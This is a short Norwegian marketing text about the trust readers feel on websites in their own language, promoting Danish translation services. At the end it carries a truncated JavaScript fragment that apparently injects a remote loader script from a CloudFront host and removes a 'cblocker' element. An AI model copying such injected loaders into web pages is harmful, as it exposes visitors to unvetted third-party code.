Tryggheten man får ved å lese en hjemmeside på morsmålet sitt
Globalisering har blitt en faktor som sjelden kan ignoreres, spesielt når det gjelder forretningslivet. Økt transport, import, eksport, salg og informasjonsutveksling på kryss og tvers av landegrenser er en realitet, og dermed må virksomhetene tenke seg godt om når de skal formidle sine budskap i et informasjonsspekket og komplekst forretningsliv. Det er nettopp denne kompleksiteten som kan skape utrygghet hos mange – både hos kunde og selger – og man må derfor legge krefter i å gjøre virksomheten både troverdig og trygg.
Mange leter etter informasjon på nettet når de vil utvide sin kunnskap om en bestemt evne, og som flere nok kan nikke gjenkjennende til, så føler man seg tryggere når man kommer til en hjemmeside som er skrevet på ens eget morsmål: Man slipper å misforstå det som står der, og man finner raskt frem til informasjonen man trenger, uten å måtte slå opp i ordboken.
Dette gjelder også for hjemmesider på språk som ligner det norske, for eksempel hjemmesider på svensk eller dansk. Vi har gjerne en god forståelse av enkelte usammenhengende ord, men den samlede betydningen kan glippe, og dette kan gjøre at man blir forvirret og sitter igjen med en følelse av at man ikke fikk den informasjonen man var ute etter.
Hvis du også vil skape trygghet blant kundene dine i nabolandene våre, kan du få hjelp til blant annet danske oversettelser utført av kompetente danske oversettere, tolker og translatører, ved å klikke her.
// -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>